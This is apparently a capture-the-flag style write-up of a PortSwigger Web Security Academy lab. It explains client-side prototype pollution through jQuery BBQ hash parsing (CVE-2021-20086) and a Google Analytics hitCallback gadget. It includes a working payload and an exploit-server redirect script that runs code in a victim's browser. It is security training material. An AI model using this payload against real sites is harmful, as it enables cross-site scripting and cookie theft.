Client-Side Prototype Pollution in Third-Party Libraries
Platform: PortSwigger Web Security Academy Vulnerability: Client-side Prototype Pollution via Third-Party Libraries Difficulty: Practitioner
Overview
This lab uses vulnerable third-party JavaScript libraries that allow prototype pollution via URL hash fragments. The challenge is to identify the pollution source and a suitable gadget without using DOM Invader.
Reconnaissance
Script Analysis
Identified the following scripts loaded on the page:
<script type="text/javascript" src='/resources/js/jquery_1-7-1.js'></script>
<script type="text/javascript" src='/resources/js/jquery_ba_bbq.js'></script>
<script type="text/javascript" src='resources/js/ga.js'></script>
Plus custom application code in store.js:
$(window).bind('hashchange', function(e) {
console.log('Hash Changed ' + location.hash);
changeCategory($.bbq.getState('cat'));
});
Research Phase (Without DOM Invader)
Since DOM Invader is a paid Burp Suite Pro feature, used web search to identify known vulnerabilities.
Finding the Pollution Source
Search: “jQuery BBQ prototype pollution”
Result: CVE-2021-20086 - jQuery BBQ’s $.bbq.getState() and $.deparam() functions are vulnerable to prototype pollution when parsing hash fragments.
Key Sources:
- Snyk Vulnerability Database: https://snyk.io/vuln/SNYK-JS-JQUERYBBQ-1062044
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-20086
Finding the Gadget
Search: “Google Analytics prototype pollution gadget hitCallback”
Result: Google Analytics (ga.js) contains a known gadget - the hitCallback property flows into setTimeout(), which acts as an eval sink when given a string argument.
Key Sources:
- BlackFan’s Client-Side Prototype Pollution research
- PortSwigger Prototype Pollution gadgets documentation
Technical Analysis
Pollution Source: jQuery BBQ
The $.bbq.getState() function parses URL hash fragments and is vulnerable to prototype pollution. Unlike query string pollution (using ?), this uses hash fragments (using #).
Vulnerable pattern:
#__proto__[property]=value
Gadget: Google Analytics hitCallback
Google Analytics checks for a hitCallback property and passes it to setTimeout():
// Simplified - actual code is minified
if (config.hitCallback) {
setTimeout(config.hitCallback, ...);
}
When setTimeout receives a string as its first argument, it evaluates it like eval() - a classic JavaScript sink.
Exploitation
Payload Construction
#__proto__[hitCallback]=alert(document.cookie)
How it works:
- jQuery BBQ parses the hash fragment
__proto__[hitCallback]pollutesObject.prototype.hitCallback- When Google Analytics runs, it inherits
hitCallbackfrom the prototype setTimeout("alert(document.cookie)", ...)executes the payload
Exploit Server Delivery
To deliver to the victim, used the exploit server with a redirect:
<script>window.location='https://TARGET-ID.web-security-academy.net/#__proto__[hitCallback]=alert(document.cookie)'</script>
Note: Don’t forget the quotes around the URL string! JavaScript needs the URL as a string value.
Key Learnings
- Research methodology - When DOM Invader isn’t available, search for CVEs and known gadgets in third-party libraries
- jQuery BBQ (CVE-2021-20086) - Common pollution source in legacy applications using hash-based routing
- Google Analytics hitCallback - Well-documented gadget that flows to setTimeout sink
- Hash vs Query String - Different libraries parse different URL components (
#vs?) - setTimeout as eval - When given a string argument, setTimeout evaluates it as code
References
- CVE-2021-20086: https://nvd.nist.gov/vuln/detail/CVE-2021-20086
- Snyk jQuery BBQ Advisory: https://snyk.io/vuln/SNYK-JS-JQUERYBBQ-1062044
- PortSwigger Prototype Pollution: https://portswigger.net/web-security/prototype-pollution